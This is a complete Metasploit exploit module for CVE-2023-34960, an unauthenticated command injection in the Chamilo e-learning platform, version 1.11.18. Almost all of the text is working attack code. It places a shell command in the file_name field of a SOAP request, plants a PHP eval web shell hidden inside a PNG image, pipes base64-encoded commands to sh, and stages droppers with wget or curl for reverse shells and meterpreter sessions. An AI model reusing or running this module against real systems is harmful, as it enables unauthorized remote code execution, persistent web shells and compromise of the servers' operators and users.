Chamilo 1.11.18 Command Injection

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::PhpPayloadPng  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Chamilo unauthenticated command injection in PowerPoint upload',  
'Description' => %q{  
Chamilo is an e-learning platform, also called Learning Management Systems (LMS).  
This module exploits an unauthenticated remote command execution vulnerability  
that affects Chamilo versions `1.11.18` and below (CVE-2023-34960).  
Due to a functionality called Chamilo Rapid to easily convert PowerPoint  
slides to courses on Chamilo, it is possible for an unauthenticated remote  
attacker to execute arbitrary commands at OS level using a malicious SOAP  
request at the vulnerable endpoint `/main/webservices/additional_webservices.php`.  
},  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Module Author  
'Randorisec' # Original research  
],  
'References' => [  
['CVE', '2023-34960'],  
['URL', 'https://www.randorisec.fr/pt/chamilo-1.11.18-multiple-vulnerabilities'],  
['URL', 'https://attackerkb.com/topics/VVJpMeSpUP/cve-2023-34960']  
],  
'License' => MSF_LICENSE,  
'Platform' => ['php', 'unix', 'linux'],  
'Privileged' => false,  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'Linemax' => 65535,  
'CmdStagerFlavor' => ['wget', 'curl'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-06-01',  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 80  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The Chamilo endpoint URL', '/' ]),  
OptString.new('WEBSHELL', [  
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil  
], conditions: %w[TARGET == 0])  
])  
end  
  
def soap_request(cmd)  
# create SOAP request exploiting CVE-2023-34960  
  
# Randomize ppt size  
ppt_size = "#{rand(720..1440)}x#{rand(360..720)}"  
  
return <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<SOAP-ENV:Envelope  
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:ns1="#{target_uri.path}"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"  
xmlns:ns2="http://xml.apache.org/xml-soap"  
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"  
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
<SOAP-ENV:Body>  
<ns1:wsConvertPpt>  
<param0 xsi:type="ns2:Map">  
<item>  
<key xsi:type="xsd:string">file_data</key>  
<value xsi:type="xsd:string"></value>  
</item>  
<item>  
<key xsi:type="xsd:string">file_name</key>  
<value xsi:type="xsd:string">`{{}}`.pptx'|" |#{cmd}||a #</value>  
</item>  
<item>  
<key xsi:type="xsd:string">service_ppt2lp_size</key>  
<value xsi:type="xsd:string">#{ppt_size}</value>  
</item>  
</param0>  
</ns1:wsConvertPpt>  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>  
EOS  
end  
  
def upload_webshell  
# randomize file name if option WEBSHELL is not set  
@webshell_name = if datastore['WEBSHELL'].blank?  
"#{Rex::Text.rand_text_alpha(8..16)}.php"  
else  
datastore['WEBSHELL'].to_s  
end  
  
@post_param = Rex::Text.rand_text_alphanumeric(1..8)  
  
# inject PHP payload into the PLTE chunk of a PNG image to hide the payload  
php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"  
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')  
return nil if png_webshell.nil?  
  
# encode webshell data and write to file on the target for execution  
payload = Base64.strict_encode64(png_webshell.to_s)  
cmd = "echo #{payload}|openssl enc -a -d > ./#{@webshell_name}"  
  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'),  
'ctype' => 'text/xml; charset=utf-8',  
'data' => soap_request(cmd).to_s  
})  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'ppt2png', @webshell_name),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def execute_command(cmd, _opts = {})  
# Encode payload with base64 and decode with openssl (most common installed on unix systems)  
payload = Base64.strict_encode64(cmd)  
cmd = "echo #{payload}|openssl enc -a -d|sh"  
  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'),  
'ctype' => 'text/xml; charset=utf-8',  
'data' => soap_request(cmd).to_s  
})  
end  
  
def check  
# Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.  
print_status("Checking if #{peer} can be exploited.")  
marker = Rex::Text.rand_text_alphanumeric(8..16)  
res = execute_command("echo #{marker}")  
if res && res.code == 200 && res.body.include?('wsConvertPptResponse') && res.body.include?(marker)  
CheckCode::Vulnerable  
else  
CheckCode::Safe('No valid response received from the target.')  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :php  
res = upload_webshell  
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 && res.body.include?('wsConvertPptResponse')  
register_file_for_cleanup(@webshell_name.to_s)  
execute_php(payload.encoded)  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`